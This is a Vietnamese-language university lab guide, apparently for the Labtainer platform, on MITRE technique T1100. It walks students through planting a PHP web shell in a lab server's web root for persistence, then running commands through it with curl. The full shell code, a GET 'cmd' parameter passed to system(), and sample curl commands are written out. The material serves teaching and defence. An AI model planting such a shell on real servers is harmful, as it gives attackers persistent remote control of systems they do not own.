**T1100: Web Shell**

1. **Mục đích**

Giúp sinh viên hiểu rõ cách mà kẻ tấn công có thể duy trì quyền truy cập và điều khiển hệ thống mục tiêu thông qua việc cài đặt WebShell, từ đó nâng cao khả năng nhận diện và đánh giá các hoạt động bất thường trên hệ thống. Thông qua việc triển khai và phân tích WebShell, sinh viên sẽ nắm bắt được quy trình tấn công, cách thức ẩn giấu, cũng như xây dựng kỹ năng bảo mật, phòng thủ vững chắc trước các mối đe dọa tương tự trong tương lai.

1. **Yêu cầu đối với sinh viên**

Có kiến thức cơ bản về hệ điều hành Linux, biết viết shell php, hiểu cơ chế hoạt động của web server, giao thức ssh.

1. **Nội dung thực hành**

**Khởi động bài lab:**

Vào terminal, gõ:

*labtainer -r pen\_bsic\_persist\_t1100*

*(chú ý: sinh viên sử dụng mã sinh viên của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)*

Sau khi khởi động xong một terminal ảo sẽ xuất hiện, đại diện cho máy tấn công: **client**.

Sinh viên sẽ được cung cấp một tài khoản của user trên server.

Từ máy client, thực hiện ssh đến máy server với mật khẩu là *password*

*ssh student@172.70.10.200*

Liệt kê các file trên thư mục home của user nhận thấy có file getflag. Đọc nó.

Nếu xóa file getflag, kết thúc phiên ssh hiện tại, đổi mật khẩu của user hiện tại và 1 file flag.txt được tạo trên thư mục gốc.

Để đọc được flag thì ta phải triển khai web shell để duy trì xâm nhập dù thông tin xâm nhập ban đầu đã được vá. Sinh viên viết một PHP web shell trên directory root với các func như ***system,**exec****,* …

*cd /var/www/htmt/*

Tạo một file shell.php nhằm tạo một scripts web shell với nội dung như sau:

*<?php*

*if(isset($\_GET['cmd'])){*

*$cmd = $\_GET['cmd'];*

*system($cmd);*

*}*

*?>*

Đoạn mã PHP trên tạo một **web shell đơn giản**, cho phép thực thi lệnh hệ thống từ xa thông qua trình duyệt hoặc công cụ như curl. Khi người dùng truy cập file shell.php kèm tham số cmd trên URL (ví dụ: ?cmd=ls), mã sẽ lấy giá trị đó và dùng hàm system() để chạy lệnh tương ứng trên server. Kết quả thực thi sẽ được trả về ngay trên trình duyệt. Đây là kỹ thuật thường dùng trong khai thác hậu xâm nhập để duy trì quyền kiểm soát hệ thống từ xa.

Sau đó ta sẽ xóa file getflag để thoát khỏi phiên ssh, đồng thời mật khẩu máy server cũng sẽ bị thay đổi. Tuy nhiên có thể thực thi lệnh tùy ý trên máy server dựa vào file web shell đã được tạo.

Từ máy client truy cập tới endpoint web shell truyền các command vào các tham số đã được định nghĩa trước. VD:

*curl -v [ip-addr]/shell.php?cmd=cat%20/flag.txt*

Từ đó có thể xem tạo được reverse shell mà không cần đăng nhập, thực hiện thử xem cấu hình mạng của máy **server** qua ifconfig theo như mẫu ở trên.

Từ mẫu lệnh trên, hãy kiểm tra thông tin hệ thống mạng của máy server thông qua webshell ( *dùng ifconfig)*

**Kiểm tra kết quả:**

Sinh viên kiểm tra tiến độ hoặc kết quả bài thực hành bằng lệnh:

*checkwork*

**Kết thúc bài lab:**

Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:

*stoplab pen\_bsic\_persist\_t1100*

Khi bài lab kết thúc, một tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab.

**Khởi động lại bài lab:**

Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:

*labtainer –r pen\_bsic\_persist\_t1100*